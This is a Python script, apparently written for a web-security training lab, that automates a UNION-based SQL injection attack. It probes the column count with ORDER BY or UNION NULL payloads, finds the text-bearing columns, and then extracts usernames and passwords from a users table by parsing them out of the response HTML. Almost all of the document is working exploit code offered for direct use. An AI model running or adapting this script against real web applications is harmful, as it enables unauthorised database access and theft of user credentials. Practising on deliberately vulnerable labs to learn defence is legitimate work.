import sys import requests import urllib3 import re from bs4 import BeautifulSoup urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"} def exploit_sqli_column_number_order_by(url, path): """Finds the number of columns using ORDER BY.""" for i in range(1, 50): sql_payload = "'+order+by+%s--" % i # r = requests.get(url + path + sql_payload, verify=False, proxies=proxies) r = requests.get(f"{url}/{path}{sql_payload}", verify=False, proxies=proxies) res = r.text if "Internal Server Error" in res: return i - 1 return False def exploit_sqli_column_number_null_value(url, path): i = 1 sql_payload = "'+UNION+SELECT+NULL" while i < 50: r = requests.get(f"{url}/{path}{sql_payload}--", verify=False, proxies=proxies) res = r.text if "Internal Server Error" not in res: return i i += 1 sql_payload += ",NULL" return None # Return None if the loop completes without finding the correct number of columns def exploit_sqli_string_field(url, path, num_col, string): colwithstr = [] for i in range(1, num_col + 1): payload_list = ["NULL"] * num_col payload_list[i - 1] = string sql_payload = "' UNION SELECT " + ",".join(payload_list) + "--" r = requests.get(f"{url}/{path}{sql_payload}", verify=False, proxies=proxies) res = r.text if string.strip("'") in res: # return i colwithstr.append(i) return colwithstr # # def exploit_sqli_users_table(url, path): # sql_payload = "' UNION SELECT username, password from users--" # r = requests.get(f"{url}/{path}{sql_payload}", verify=False, proxies=proxies) # res = r.text # if "administrator" in res: # print("[+] Found the administrator password.") # soup = BeautifulSoup(r.text, "html.parser") # admin_password = ( # soup.body.find(text="administrator").parent.findNext("td").contents[0] # ) # print("[+] The administrator password is '%s'" % admin_password) # return True # return False # def exploit_sqli_users_table(url, path, num_col): inonecol = input("Return credentials in one column or two? (1 or 2): ") if int(inonecol) == 1: sql_payload = "' UNION select NULL, username || ':::' || password from users--" elif int(inonecol) == 2: sql_payload = "' UNION SELECT username, password FROM users--" else: sql_payload = input("Invalid input. Please enter your custom SQL payload: ") r = requests.get(f"{url}/{path}{sql_payload}", verify=False, proxies=proxies) res = r.text soup = BeautifulSoup(res, "html.parser") credentials = [] print(soup) if int(inonecol) == 1: # Extract text content from the soup object text_content = soup.get_text() # Regular expression pattern to match credentials pattern = r"([^:\s]+):::([^\s]+)" # Find all matches matches = re.findall(pattern, text_content) # Print the credentials in a pretty format for username, password in matches: print(f"Username: {username}\nPassword: {password}\n") else: for row in soup.find_all("tr"): # Loop through table rows cols = row.find_all("th") # First column (username) values = row.find_all("td") # Second column (password) if cols and values: username = cols[0].get_text(strip=True) password = values[0].get_text(strip=True) credentials.append((username, password)) if credentials: print("[+] Extracted Credentials:") for user, passwd in credentials: print(f" {user}: {passwd}") return credentials print("[-] No credentials found.") return [] if __name__ == "__main__": try: url = sys.argv[1].strip() path = sys.argv[2].strip() # Example: "filter?category=Gifts" except IndexError: print(f"[-] Usage: {sys.argv[0]} ") print(f"[-] Example: {sys.argv[0]} www.example.com 'filter?category=Gifts'") sys.exit(-1) try: choose_exploit = int( input("Do you want to use ORDER BY (1) or UNION NULL (0)?\n").strip() ) except ValueError: print("[-] Invalid input. Please enter 1 or 0.") sys.exit(1) print("[+] Figuring out the number of columns...") if choose_exploit == 1: num_col = exploit_sqli_column_number_order_by(url, path) elif choose_exploit == 0: num_col = exploit_sqli_column_number_null_value(url, path) else: print("[-] Invalid choice. Exiting.") sys.exit(1) if num_col: print(f"[+] The number of columns is {num_col}.") print("[+] Figuring out which column contains text...") try: string = ( str(input("Please enter the string that you want to find:\n").strip()) or "'A'" ) except ValueError: print("[-] Invalid input. Please enter a valid string.") sys.exit(1) string_column = exploit_sqli_string_field(url, path, num_col, string) if string_column: print( f"[+] The column that contains text is {', '.join(str(i) for i in string_column)}." ) else: print("[-] We were not able to find a column that has a string data type.") print("[+] Dumping the list of usernames and passwords...") if not exploit_sqli_users_table(url, path, num_col): print("[-] Did not find any usernames and passwords.") else: print("[-] The SQLi attack was not successful.")